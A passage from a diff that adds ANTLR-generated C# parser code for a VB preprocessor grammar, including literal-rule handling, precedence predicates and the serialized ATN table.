GetToken(VBPreprocessorsParser.FALSE, 0); } + public LtBooleanContext(LiteralContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterLtBoolean(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitLtBoolean(this); + } + } + + [RuleVersion(0)] + public LiteralContext literal() { + LiteralContext _localctx = new LiteralContext(Context, State); + EnterRule(_localctx, 68, RULE_literal); + try { + State = 672; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case DOUBLELITERAL: + _localctx = new LtDoubleContext(_localctx); + EnterOuterAlt(_localctx, 1); + { + State = 667; + Match(DOUBLELITERAL); + } + break; + case STRINGLITERAL: + case DATELITERAL: + case HEXLITERAL: + case OCTALLITERAL: + _localctx = new LtDelimitedContext(_localctx); + EnterOuterAlt(_localctx, 2); + { + State = 668; + delimitedLiteral(); + } + break; + case INTEGERLITERAL: + _localctx = new LtIntegerContext(_localctx); + EnterOuterAlt(_localctx, 3); + { + State = 669; + Match(INTEGERLITERAL); + } + break; + case TRUE: + _localctx = new LtBooleanContext(_localctx); + EnterOuterAlt(_localctx, 4); + { + State = 670; + Match(TRUE); + } + break; + case FALSE: + _localctx = new LtBooleanContext(_localctx); + EnterOuterAlt(_localctx, 5); + { + State = 671; + Match(FALSE); + } + break; + default: + throw new NoViableAltException(this); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class AnytokenContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE() { return GetToken(VBPreprocessorsParser.NEWLINE, 0); } + public AnytokenContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_anytoken; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterAnytoken(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitAnytoken(this); + } + } + + [RuleVersion(0)] + public AnytokenContext anytoken() { + AnytokenContext _localctx = new AnytokenContext(Context, State); + EnterRule(_localctx, 70, RULE_anytoken); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 674; + _la = TokenStream.LA(1); + if ( _la <= 0 || (_la==NEWLINE) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public override bool Sempred(RuleContext _localctx, int ruleIndex, int predIndex) { + switch (ruleIndex) { + case 32: return valueStmt_sempred((ValueStmtContext)_localctx, predIndex); + } + return true; + } + private bool valueStmt_sempred(ValueStmtContext _localctx, int predIndex) { + switch (predIndex) { + case 0: return Precpred(Context, 18); + case 1: return Precpred(Context, 17); + case 2: return Precpred(Context, 16); + case 3: return Precpred(Context, 15); + case 4: return Precpred(Context, 14); + case 5: return Precpred(Context, 13); + case 6: return Precpred(Context, 12); + case 7: return Precpred(Context, 11); + case 8: return Precpred(Context, 10); + case 9: return Precpred(Context, 9); + case 10: return Precpred(Context, 8); + case 11: return Precpred(Context, 7); + case 12: return Precpred(Context, 6); + case 13: return Precpred(Context, 5); + case 14: return Precpred(Context, 4); + case 15: return Precpred(Context, 3); + case 16: return Precpred(Context, 2); + } + return true; + } + + private static int[] _serializedATN = { + 4,1,72,677,2,0,7,0,2,1,7,1,2,2,7,2,2,3,7,3,2,4,7,4,2,5,7,5,2,6,7,6,2,7, + 7,7,2,8,7,8,2,9,7,9,2,10,7,10,2,11,7,11,2,12,7,12,2,13,7,13,2,14,7,14, + 2,15,7,15,2,16,7,16,2,17,7,17,2,18,7,18,2,19,7,19,2,20,7,20,2,21,7,21, + 2,22,7,22,2,23,7,23,2,24,7,24,2,25,7,25,2,26,7,26,2,27,7,27,2,28,7,28, + 2,29,7,29,2,30,7,30,2,31,7,31,2,32,7,32,2,33,7,33,2,34,7,34,2,35,7,35, + 1,0,5,0,74,8,0,10,0,12,0,77,9,0,1,0,5,0,80,8,0,10,0,12,0,83,9,0,1,0,3, + 0,86,8,0,1,1,1,1,1,1,3,1,91,8,1,1,1,1,1,3,1,95,8,1,1,1,1,1,1,2,5,2,100, + 8,2,10,2,12,2,103,9,2,1,2,1,2,3,2,107,8,2,1,2,4,2,110,8,2,11,2,12,2,111, + 1,2,3,2,115,8,2,1,3,1,3,1,3,1,3,1,3,3,3,122,8,3,1,4,4,4,125,8,4,11,4,12, + 4,126,1,5,3,5,130,8,5,1,5,5,5,133,8,5,10,5,12,5,136,9,5,1,5,3,5,139,8, + 5,1,5,5,5,142,8,5,10,5,12,5,145,9,5,1,5,3,5,148,8,5,1,5,5,5,151,8,5,10, + 5,12,5,154,9,5,1,5,3,5,157,8,5,1,5,5,5,160,8,5,10,5,12,5,163,9,5,1,6,4, + 6,166,8,6,11,6,12,6,167,1,7,1,7,3,7,172,8,7,1,7,1,7,3,7,176,8,7,1,7,1, + 7,1,7,3,7,181,8,7,1,7,3,7,184,8,7,1,7,5,7,187,8,7,10,7,12,7,190,9,7,1, + 8,1,8,1,9,1,9,1,10,1,10,1,10,1,10,1,10,3,10,201,8,10,1,11,1,11,4,11,205, + 8,11,11,11,12,11,206,1,11,4,11,210,8,11,11,11,12,11,211,1,11,1,11,4,11, + 216,8,11,11,11,12,11,217,1,12,1,12,3,12,222,8,12,1,12,1,12,3,12,226,8, + 12,1,12,1,12,1,12,1,13,4,13,232,8,13,11,13,12,13,233,1,13,1,13,4,13,238, + 8,13,11,13,12,13,239,1,13,3,13,243,8,13,1,14,1,14,4,14,247,8,14,11,14, + 12,14,248,4,14,251,8,14,11,14,12,14,252,1,15,1,15,5,15,257,8,15,10,15, + 12,15,260,9,15,1,15,3,15,263,8,15,1,15,1,15,1,16,1,16,1,16,1,16,1,16,1, + 16,1,17,1,17,3,17,275,8,17,1,17,5,17,278,8,17,10,17,12,17,281,9,17,1,17, + 4,17,284,8,17,11,17,12,17,285,1,17,5,17,289,8,17,10,17,12,17,292,9,17, + 1,18,1,18,1,18,1,18,1,18,1,18,3,18,300,8,18,1,18,5,18,303,8,18,10,18,12, + 18,306,9,18,1,18,4,18,309,8,18,11,18,12,18,310,1,18,5,18,314,8,18,10,18, + 12,18,317,9,18,1,19,1,19,3,19,321,8,19,1,19,5,19,324,8,19,10,19,12,19, + 327,9,19,1,19,4,19,330,8,19,11,19,12,19,331,1,19,5,19,335,8,19,10,19,12, + 19,338,9,19,1,20,4,20,341,8,20,11,20,12,20,342,1,21,1,21,1,22,1,22,3,22, + 349,8,22,1,23,4,23,352,8,23,11,23,12,23,353,1,24,3,24,357,8,24,1,24,1, + 24,1,24,1,24,1,24,1,24,3,24,365,8,24,1,24,4,24,368,8,24,11,24,12,24,369, + 1,24,4,24,373,8,24,11,24,12,24,374,1,24,1,24,5,24,379,8,24,10,24,12,24, + 382,9,24,1,25,1,25,3,25,386,8,25,1,26,3,26,389,8,26,1,26,1,26,1,26,1,26, + 1,26,1,26,3,26,397,8,26,1,26,1,26,3,26,401,8,26,1,26,4,26,404,8,26,11, + 26,12,26,405,1,26,4,26,409,8,26,11,26,12,26,410,3,26,413,8,26,1,26,1,26, + 4,26,417,8,26,11,26,12,26,418,1,27,1,27,1,28,1,28,1,28,5,28,426,8,28,10, + 28,12,28,429,9,28,1,29,1,29,1,30,1,30,1,30,1,30,3,30,437,8,30,1,30,1,30, + 3,30,441,8,30,1,30,1,30,3,30,445,8,30,1,30,1,30,3,30,449,8,30,1,30,5,30, + 452,8,30,10,30,12,30,455,9,30,1,31,1,31,1,32,1,32,1,32,1,32,1,32,3,32, + 464,8,32,1,32,1,32,3,32,468,8,32,1,32,1,32,3,32,472,8,32,1,32,5,32,475, + 8,32,10,32,12,32,478,9,32,1,32,3,32,481,8,32,1,32,1,32,1,32,1,32,3,32, + 487,8,32,1,32,1,32,1,32,3,32,492,8,32,1,32,1,32,1,32,1,32,1,32,1,32,3, + 32,500,8,32,1,32,1,32,3,32,504,8,32,1,32,1,32,3,32,508,8,32,3,32,510,8, + 32,1,32,1,32,3,32,514,8,32,1,32,1,32,3,32,518,8,32,1,32,1,32,1,32,3,32, + 523,8,32,1,32,1,32,3,32,527,8,32,1,32,1,32,1,32,3,32,532,8,32,1,32,1,32, + 3,32,536,8,32,1,32,1,32,1,32,3,32,541,8,32,1,32,1,32,3,32,545,8,32,1,32, + 1,32,1,32,3,32,550,8,32,1,32,1,32,3,32,554,8,32,1,32,1,32,1,32,3,32,559, + 8,32,1,32,1,32,3,32,563,8,32,1,32,1,32,1,32,3,32,568,8,32,1,32,1,32,3, + 32,572,8,32,1,32,1,32,1,32,3,32,577,8,32,1,32,1,32,3,32,581,8,32,1,32, + 1,32,1,32,3,32,586,8,32,1,32,1,32,3,32,590,8,32,1,32,1,32,1,32,3,32,595, + 8,32,1,32,1,32,3,32,599,8,32,1,32,1,32,1,32,3,32,604,8,32,1,32,1,32,3, + 32,608,8,32,1,32,1,32,1,32,3,32,613,8,32,1,32,1,32,3,32,617,8,32,1,32, + 1,32,1,32,3,32,622,8,32,1,32,1,32,3,32,626,8,32,1,32,1,32,1,32,3,32,631, + 8,32,1,32,1,32,3,32,635,8,32,1,32,1,32,1,32,3,32,640,8,32,1,32,1,32,3, + 32,644,8,32,1,32,1,32,1,32,1,32,1,32,1,32,1,32,1,32,1,32,1,32,1,32,5,32, + 657,8,32,10,32,12,32,660,9,32,1,33,1,33,1,33,1,33,3,33,666,8,33,1,34,1, + 34,1,34,1,34,1,34,3,34,673,8,34,1,35,1,35,1,35,0,1,64,36,0,2,4,6,8,10, + 12,14,16,18,20,22,24,26,28,30,32,34,36,38,40,42,44,46,48,50,52,54,56,58, + 60,62,64,66,68,70,0,4,4,0,1,1,19,22,65,65,67,67,3,0,23,23,36,36,48,48, + 2,0,47,47,50,50,1,0,65,65,784,0,75,1,0,0,0,2,87,1,0,0,0,4,101,1,0,0,0, + 6,121,1,0,0,0,8,124,1,0,0,0,10,129,1,0,0,0,12,165,1,0,0,0,14,169,1,0,0, + 0,16,191,1,0,0,0,18,193,1,0,0,0,20,195,1,0,0,0,22,202,1,0,0,0,24,219,1, + 0,0,0,26,242,1,0,0,0,28,250,1,0,0,0,30,254,1,0,0,0,32,266,1,0,0,0,34,272, + 1,0,0,0,36,293,1,0,0,0,38,318,1,0,0,0,40,340,1,0,0,0,42,344,1,0,0,0,44, + 346,1,0,0,0,46,351,1,0,0,0,48,356,1,0,0,0,50,385,1,0,0,0,52,388,1,0,0, + 0,54,420,1,0,0,0,56,422,1,0,0,0,58,430,1,0,0,0,60,432,1,0,0,0,62,456,1, + 0,0,0,64,509,1,0,0,0,66,665,1,0,0,0,68,672,1,0,0,0,70,674,1,0,0,0,72,74, + 5,65,0,0,73,72,1,0,0,0,74,77,1,0,0,0,75,73,1,0,0,0,75,76,1,0,0,0,76,81, + 1,0,0,0,77,75,1,0,0,0,78,80,3,4,2,0,79,78,1,0,0,0,80,83,1,0,0,0,81,79, + 1,0,0,0,81,82,1,0,0,0,82,85,1,0,0,0,83,81,1,0,0,0,84,86,5,0,0,1,85,84, + 1,0,0,0,85,86,1,0,0,0,86,1,1,0,0,0,87,88,5,1,0,0,88,90,5,66,0,0,89,91, + 5,69,0,0,90,89,1,0,0,0,90,91,1,0,0,0,91,92,1,0,0,0,92,94,5,38,0,0,93,95, + 5,69,0,0,94,93,1,0,0,0,94,95,1,0,0,0,95,96,1,0,0,0,96,97,3,64,32,0,97, + 3,1,0,0,0,98,100,3,42,21,0,99,98,1,0,0,0,100,103,1,0,0,0,101,99,1,0,0, + 0,101,102,1,0,0,0,102,104,1,0,0,0,103,101,1,0,0,0,104,106,3,6,3,0,105, + 107,3,40,20,0,106,105,1,0,0,0,106,107,1,0,0,0,107,114,1,0,0,0,108,110, + 5,65,0,0,109,108,1,0,0,0,110,111,1,0,0,0,111,109,1,0,0,0,111,112,1,0,0, + 0,112,115,1,0,0,0,113,115,5,0,0,1,114,109,1,0,0,0,114,113,1,0,0,0,115, + 5,1,0,0,0,116,122,3,30,15,0,117,122,3,2,1,0,118,122,3,40,20,0,119,122, + 3,8,4,0,120,122,3,42,21,0,121,116,1,0,0,0,121,117,1,0,0,0,121,118,1,0, + 0,0,121,119,1,0,0,0,121,120,1,0,0,0,122,7,1,0,0,0,123,125,3,44,22,0,124, + 123,1,0,0,0,125,126,1,0,0,0,126,124,1,0,0,0,126,127,1,0,0,0,127,9,1,0, + 0,0,128,130,3,12,6,0,129,128,1,0,0,0,129,130,1,0,0,0,130,134,1,0,0,0,131, + 133,5,65,0,0,132,131,1,0,0,0,133,136,1,0,0,0,134,132,1,0,0,0,134,135,1, + 0,0,0,135,138,1,0,0,0,136,134,1,0,0,0,137,139,3,48,24,0,138,137,1,0,0, + 0,138,139,1,0,0,0,139,143,1,0,0,0,140,142,5,65,0,0,141,140,1,0,0,0,142, + 145,1,0,0,0,143,141,1,0,0,0,143,144,1,0,0,0,144,147,1,0,0,0,145,143,1, + 0,0,0,146,148,3,22,11,0,147,146,1,0,0,0,147,148,1,0,0,0,148,152,1,0,0, + 0,149,151,5,65,0,0,150,149,1,0,0,0,151,154,1,0,0,0,152,150,1,0,0,0,152, + 153,1,0,0,0,153,156,1,0,0,0,154,152,1,0,0,0,155,157,3,28,14,0,156,155, + 1,0,0,0,156,157,1,0,0,0,157,161,1,0,0,0,158,160,5,65,0,0,159,158,1,0,0, + 0,160,163,1,0,0,0,161,159,1,0,0,0,161,162,1,0,0,0,162,11,1,0,0,0,163,161, + 1,0,0,0,164,166,3,14,7,0,165,164,1,0,0,0,166,167,1,0,0,0,167,165,1,0,0, + 0,167,168,1,0,0,0,168,13,1,0,0,0,169,171,5,27,0,0,170,172,5,69,0,0,171, + 170,1,0,0,0,171,172,1,0,0,0,172,173,1,0,0,0,173,175,5,38,0,0,174,176,5, + 69,0,0,175,174,1,0,0,0,175,176,1,0,0,0,176,177,1,0,0,0,177,183,3,16,8, + 0,178,180,5,54,0,0,179,181,5,69,0,0,180,179,1,0,0,0,180,181,1,0,0,0,181, + 182,1,0,0,0,182,184,3,18,9,0,183,178,1,0,0,0,183,184,1,0,0,0,184,188,1, + 0,0,0,185,187,5,65,0,0,186,185,1,0,0,0,187,190,1,0,0,0,188,186,1,0,0,0, + 188,189,1,0,0,0,189,15,1,0,0,0,190,188,1,0,0,0,191,192,5,57,0,0,192,17, + 1,0,0,0,193,194,5,57,0,0,194,19,1,0,0,0,195,196,5,31,0,0,196,197,5,69, + 0,0,197,200,5,61,0,0,198,199,5,69,0,0,199,201,5,6,0,0,200,198,1,0,0,0, + 200,201,1,0,0,0,201,21,1,0,0,0,202,204,5,4,0,0,203,205,5,65,0,0,204,203, + 1,0,0,0,205,206,1,0,0,0,206,204,1,0,0,0,206,207,1,0,0,0,207,209,1,0,0, + 0,208,210,3,24,12,0,209,208,1,0,0,0,210,211,1,0,0,0,211,209,1,0,0,0,211, + 212,1,0,0,0,212,213,1,0,0,0,213,215,5,11,0,0,214,216,5,65,0,0,215,214, + 1,0,0,0,216,217,1,0,0,0,217,215,1,0,0,0,217,218,1,0,0,0,218,23,1,0,0,0, + 219,221,3,26,13,0,220,222,5,69,0,0,221,220,1,0,0,0,221,222,1,0,0,0,222, + 223,1,0,0,0,223,225,5,38,0,0,224,226,5,69,0,0,225,224,1,0,0,0,225,226, + 1,0,0,0,226,227,1,0,0,0,227,228,3,68,34,0,228,229,5,65,0,0,229,25,1,0, + 0,0,230,232,5,66,0,0,231,230,1,0,0,0,232,233,1,0,0,0,233,231,1,0,0,0,233, + 234,1,0,0,0,234,243,1,0,0,0,235,237,5,55,0,0,236,238,5,66,0,0,237,236, + 1,0,0,0,238,239,1,0,0,0,239,237,1,0,0,0,239,240,1,0,0,0,240,241,1,0,0, + 0,241,243,5,56,0,0,242,231,1,0,0,0,242,235,1,0,0,0,243,27,1,0,0,0,244, + 246,3,60,30,0,245,247,5,65,0,0,246,245,1,0,0,0,247,248,1,0,0,0,248,246, + 1,0,0,0,248,249,1,0,0,0,249,251,1,0,0,0,250,244,1,0,0,0,251,252,1,0,0, + 0,252,250,1,0,0,0,252,253,1,0,0,0,253,29,1,0,0,0,254,258,3,34,17,0,255, + 257,3,36,18,0,256,255,1,0,0,0,257,260,1,0,0,0,258,256,1,0,0,0,258,259, + 1,0,0,0,259,262,1,0,0,0,260,258,1,0,0,0,261,263,3,38,19,0,262,261,1,0, + 0,0,262,263,1,0,0,0,263,264,1,0,0,0,264,265,5,22,0,0,265,31,1,0,0,0,266, + 267,5,19,0,0,267,268,5,69,0,0,268,269,3,62,31,0,269,270,5,69,0,0,270,271, + 5,29,0,0,271,33,1,0,0,0,272,274,3,32,16,0,273,275,5,69,0,0,274,273,1,0, + 0,0,274,275,1,0,0,0,275,279,1,0,0,0,276,278,3,40,20,0,277,276,1,0,0,0, + 278,281,1,0,0,0,279,277,1,0,0,0,279,280,1,0,0,0,280,283,1,0,0,0,281,279, + 1,0,0,0,282,284,5,65,0,0,283,282,1,0,0,0,284,285,1,0,0,0,285,283,1,0,0, + 0,285,286,1,0,0,0,286,290,1,0,0,0,287,289,3,4,2,0,288,287,1,0,0,0,289, + 292,1,0,0,0,290,288,1,0,0,0,290,291,1,0,0,0,291,35,1,0,0,0,292,290,1,0, + 0,0,293,294,5,20,0,0,294,295,5,69,0,0,295,296,3,62,31,0,296,297,5,69,0, + 0,297,299,5,29,0,0,298,300,5,69,0,0,299,298,1,0,0,0,299,300,1,0,0,0,300, + 304,1,0,0,0,301,303,3,40,20,0,302,301,1,0,0,0,303,306,1,0,0,0,304,302, + 1,0,0,0,304,305,1,0,0,0,305,308,1,0,0,0,306,304,1,0,0,0,307,309,5,65,0, + 0,308,307,1,0,0,0,309,310,1,0,0,0,310,308,1,0,0,0,310,311,1,0,0,0,311, + 315,1,0,0,0,312,314,3,4,2,0,313,312,1,0,0,0,314,317,1,0,0,0,315,313,1, + 0,0,0,315,316,1,0,0,0,316,37,1,0,0,0,317,315,1,0,0,0,318,320,5,21,0,0, + 319,321,5,69,0,0,320,319,1,0,0,0,320,321,1,0,0,0,321,325,1,0,0,0,322,324, + 3,40,20,0,323,322,1,0,0,0,324,327,1,0,0,0,325,323,1,0,0,0,325,326,1,0, + 0,0,326,329,1,0,0,0,327,325,1,0,0,0,328,330,5,65,0,0,329,328,1,0,0,0,330, + 331,1,0,0,0,331,329,1,0,0,0,331,332,1,0,0,0,332,336,1,0,0,0,333,335,3, + 4,2,0,334,333,1,0,0,0,335,338,1,0,0,0,336,334,1,0,0,0,336,337,1,0,0,0, + 337,39,1,0,0,0,338,336,1,0,0,0,339,341,5,67,0,0,340,339,1,0,0,0,341,342, + 1,0,0,0,342,340,1,0,0,0,342,343,1,0,0,0,343,41,1,0,0,0,344,345,5,72,0, + 0,345,43,1,0,0,0,346,348,3,46,23,0,347,349,5,67,0,0,348,347,1,0,0,0,348, + 349,1,0,0,0,349,45,1,0,0,0,350,352,8,0,0,0,351,350,1,0,0,0,352,353,1,0, + 0,0,353,351,1,0,0,0,353,354,1,0,0,0,354,47,1,0,0,0,355,357,5,69,0,0,356, + 355,1,0,0,0,356,357,1,0,0,0,357,358,1,0,0,0,358,359,5,4,0,0,359,360,5, + 69,0,0,360,361,3,54,27,0,361,362,5,69,0,0,362,364,3,58,29,0,363,365,5, + 69,0,0,364,363,1,0,0,0,364,365,1,0,0,0,365,367,1,0,0,0,366,368,5,65,0, + 0,367,366,1,0,0,0,368,369,1,0,0,0,369,367,1,0,0,0,369,370,1,0,0,0,370, + 372,1,0,0,0,371,373,3,50,25,0,372,371,1,0,0,0,373,374,1,0,0,0,374,372, + 1,0,0,0,374,375,1,0,0,0,375,376,1,0,0,0,376,380,5,11,0,0,377,379,5,65, + 0,0,378,377,1,0,0,0,379,382,1,0,0,0,380,378,1,0,0,0,380,381,1,0,0,0,381, + 49,1,0,0,0,382,380,1,0,0,0,383,386,3,52,26,0,384,386,3,48,24,0,385,383, + 1,0,0,0,385,384,1,0,0,0,386,51,1,0,0,0,387,389,5,69,0,0,388,387,1,0,0, + 0,388,389,1,0,0,0,389,390,1,0,0,0,390,391,5,5,0,0,391,392,5,69,0,0,392, + 396,3,26,13,0,393,394,5,45,0,0,394,395,5,60,0,0,395,397,5,53,0,0,396,393, + 1,0,0,0,396,397,1,0,0,0,397,400,1,0,0,0,398,399,5,69,0,0,399,401,5,64, + 0,0,400,398,1,0,0,0,400,401,1,0,0,0,401,403,1,0,0,0,402,404,5,65,0,0,403, + 402,1,0,0,0,404,405,1,0,0,0,405,403,1,0,0,0,405,406,1,0,0,0,406,412,1, + 0,0,0,407,409,3,50,25,0,408,407,1,0,0,0,409,410,1,0,0,0,410,408,1,0,0, + 0,410,411,1,0,0,0,411,413,1,0,0,0,412,408,1,0,0,0,412,413,1,0,0,0,413, + 414,1,0,0,0,414,416,5,12,0,0,415,417,5,65,0,0,416,415,1,0,0,0,417,418, + 1,0,0,0,418,416,1,0,0,0,418,419,1,0,0,0,419,53,1,0,0,0,420,421,3,56,28, + 0,421,55,1,0,0,0,422,427,3,26,13,0,423,424,5,37,0,0,424,426,3,26,13,0, + 425,423,1,0,0,0,426,429,1,0,0,0,427,425,1,0,0,0,427,428,1,0,0,0,428,57, + 1,0,0,0,429,427,1,0,0,0,430,431,3,26,13,0,431,59,1,0,0,0,432,433,5,3,0, + 0,433,434,5,69,0,0,434,436,3,26,13,0,435,437,5,69,0,0,436,435,1,0,0,0, + 436,437,1,0,0,0,437,438,1,0,0,0,438,440,5,38,0,0,439,441,5,69,0,0,440, + 439,1,0,0,0,440,441,1,0,0,0,441,442,1,0,0,0,442,453,3,68,34,0,443,445, + 5,69,0,0,444,443,1,0,0,0,444,445,1,0,0,0,445,446,1,0,0,0,446,448,5,35, + 0,0,447,449,5,69,0,0,448,447,1,0,0,0,448,449,1,0,0,0,449,450,1,0,0,0,450, + 452,3,68,34,0,451,444,1,0,0,0,452,455,1,0,0,0,453,451,1,0,0,0,453,454, + 1,0,0,0,454,61,1,0,0,0,455,453,1,0,0,0,456,457,3,64,32,0,457,63,1,0,0, + 0,458,459,6,32,-1,0,459,510,3,68,34,0,460,510,3,26,13,0,461,463,5,45,0, + 0,462,464,5,69,0,0,463,462,1,0,0,0,463,464,1,0,0,0,464,465,1,0,0,0,465, + 476,3,64,32,0,466,468,5,69,0,0,467,466,1,0,0,0,467,468,1,0,0,0,468,469, + 1,0,0,0,469,471,5,35,0,0,470,472,5,69,0,0,471,470,1,0,0,0,471,472,1,0, + 0,0,472,473,1,0,0,0,473,475,3,64,32,0,474,467,1,0,0,0,475,478,1,0,0,0, + 476,474,1,0,0,0,476,477,1,0,0,0,477,480,1,0,0,0,478,476,1,0,0,0,479,481, + 5,69,0,0,480,479,1,0,0,0,480,481,1,0,0,0,481,482,1,0,0,0,482,483,5,53, + 0,0,483,510,1,0,0,0,484,486,5,50,0,0,485,487,5,69,0,0,486,485,1,0,0,0, + 486,487,1,0,0,0,487,488,1,0,0,0,488,510,3,64,32,20,489,491,5,47,0,0,490, + 492,5,69,0,0,491,490,1,0,0,0,491,492,1,0,0,0,492,493,1,0,0,0,493,510,3, + 64,32,19,494,507,5,24,0,0,495,496,5,69,0,0,496,508,3,64,32,0,497,499,5, + 45,0,0,498,500,5,69,0,0,499,498,1,0,0,0,499,500,1,0,0,0,500,501,1,0,0, + 0,501,503,3,64,32,0,502,504,5,69,0,0,503,502,1,0,0,0,503,504,1,0,0,0,504, + 505,1,0,0,0,505,506,5,53,0,0,506,508,1,0,0,0,507,495,1,0,0,0,507,497,1, + 0,0,0,508,510,1,0,0,0,509,458,1,0,0,0,509,460,1,0,0,0,509,461,1,0,0,0, + 509,484,1,0,0,0,509,489,1,0,0,0,509,494,1,0,0,0,510,658,1,0,0,0,511,513, + 10,18,0,0,512,514,5,69,0,0,513,512,1,0,0,0,513,514,1,0,0,0,514,515,1,0, + 0,0,515,517,5,51,0,0,516,518,5,69,0,0,517,516,1,0,0,0,517,518,1,0,0,0, + 518,519,1,0,0,0,519,657,3,64,32,19,520,522,10,17,0,0,521,523,5,69,0,0, + 522,521,1,0,0,0,522,523,1,0,0,0,523,524,1,0,0,0,524,526,7,1,0,0,525,527, + 5,69,0,0,526,525,1,0,0,0,526,527,1,0,0,0,527,528,1,0,0,0,528,657,3,64, + 32,18,529,531,10,16,0,0,530,532,5,69,0,0,531,530,1,0,0,0,531,532,1,0,0, + 0,532,533,1,0,0,0,533,535,7,2,0,0,534,536,5,69,0,0,535,534,1,0,0,0,535, + 536,1,0,0,0,536,537,1,0,0,0,537,657,3,64,32,17,538,540,10,15,0,0,539,541, + 5,69,0,0,540,539,1,0,0,0,540,541,1,0,0,0,541,542,1,0,0,0,542,544,5,33, + 0,0,543,545,5,69,0,0,544,543,1,0,0,0,544,545,1,0,0,0,545,546,1,0,0,0,546, + 657,3,64,32,16,547,549,10,14,0,0,548,550,5,69,0,0,549,548,1,0,0,0,549, + 550,1,0,0,0,550,551,1,0,0,0,551,553,5,38,0,0,552,554,5,69,0,0,553,552, + 1,0,0,0,553,554,1,0,0,0,554,555,1,0,0,0,555,657,3,64,32,15,556,558,10, + 13,0,0,557,559,5,69,0,0,558,557,1,0,0,0,558,559,1,0,0,0,559,560,1,0,0, + 0,560,562,5,49,0,0,561,563,5,69,0,0,562,561,1,0,0,0,562,563,1,0,0,0,563, + 564,1,0,0,0,564,657,3,64,32,14,565,567,10,12,0,0,566,568,5,69,0,0,567, + 566,1,0,0,0,567,568,1,0,0,0,568,569,1,0,0,0,569,571,5,46,0,0,570,572,5, + 69,0,0,571,570,1,0,0,0,571,572,1,0,0,0,572,573,1,0,0,0,573,657,3,64,32, + 13,574,576,10,11,0,0,575,577,5,69,0,0,576,575,1,0,0,0,576,577,1,0,0,0, + 577,578,1,0,0,0,578,580,5,41,0,0,579,581,5,69,0,0,580,579,1,0,0,0,580, + 581,1,0,0,0,581,582,1,0,0,0,582,657,3,64,32,12,583,585,10,10,0,0,584,586, + 5,69,0,0,585,584,1,0,0,0,585,586,1,0,0,0,586,587,1,0,0,0,587,589,5,43, + 0,0,588,590,5,69,0,0,589,588,1,0,0,0,589,590,1,0,0,0,590,591,1,0,0,0,591, + 657,3,64,32,11,592,594,10,9,0,0,593,595,5,69,0,0,594,593,1,0,0,0,594,595, + 1,0,0,0,595,596,1,0,0,0,596,598,5,40,0,0,597,599,5,69,0,0,598,597,1,0, + 0,0,598,599,1,0,0,0,599,600,1,0,0,0,600,657,3,64,32,10,601,603,10,8,0, + 0,602,604,5,69,0,0,603,602,1,0,0,0,603,604,1,0,0,0,604,605,1,0,0,0,605, + 607,5,2,0,0,606,608,5,69,0,0,607,606,1,0,0,0,607,608,1,0,0,0,608,609,1, + 0,0,0,609,657,3,64,32,9,610,612,10,7,0,0,611,613,5,69,0,0,612,611,1,0, + 0,0,612,613,1,0,0,0,613,614,1,0,0,0,614,616,5,28,0,0,615,617,5,69,0,0, + 616,615,1,0,0,0,616,617,1,0,0,0,617,618,1,0,0,0,618,657,3,64,32,8,619, + 621,10,6,0,0,620,622,5,69,0,0,621,620,1,0,0,0,621,622,1,0,0,0,622,623, + 1,0,0,0,623,625,5,32,0,0,624,626,5,69,0,0,625,624,1,0,0,0,625,626,1,0, + 0,0,626,627,1,0,0,0,627,657,3,64,32,7,628,630,10,5,0,0,629,631,5,69,0, + 0,630,629,1,0,0,0,630,631,1,0,0,0,631,632,1,0,0,0,632,634,5,13,0,0,633, + 635,5,69,0,0,634,633,1,0,0,0,634,635,1,0,0,0,635,636,1,0,0,0,636,657,3, + 64,32,6,637,639,10,4,0,0,638,640,5,69,0,0,639,638,1,0,0,0,639,640,1,0, + 0,0,640,641,1,0,0,0,641,643,5,16,0,0,642,644,5,69,0,0,643,642,1,0,0,0, + 643,644,1,0,0,0,644,645,1,0,0,0,645,657,3,64,32,5,646,647,10,3,0,0,647, + 648,5,69,0,0,648,649,5,18,0,0,649,650,5,69,0,0,650,657,3,64,32,4,651,652, + 10,2,0,0,652,653,5,69,0,0,653,654,5,17,0,0,654,655,5,69,0,0,655,657,3, + 64,32,3,656,511,1,0,0,0,656,520,1,0,0,0,656,529,1,0,0,0,656,538,1,0,0, + 0,656,547,1,0,0,0,656,556,1,0,0,0,656,565,1,0,0,0,656,574,1,0,0,0,656, + 583,1,0,0,0,656,592,1,0,0,0,656,601,1,0,0,0,656,610,1,0,0,0,656,619,1, + 0,0,0,656,628,1,0,0,0,656,637,1,0,0,0,656,646,1,0,0,0,656,651,1,0,0,0, + 657,660,1,0,0,0,658,656,1,0,0,0,658,659,1,0,0,0,659,65,1,0,0,0,660,658, + 1,0,0,0,661,666,5,59,0,0,662,666,5,63,0,0,663,666,5,58,0,0,664,666,5,57, + 0,0,665,661,1,0,0,0,665,662,1,0,0,0,665,663,1,0,0,0,665,664,1,0,0,0,666, + 67,1,0,0,0,667,673,5,61,0,0,668,673,3,66,33,0,669,673,5,60,0,0,670,673, + 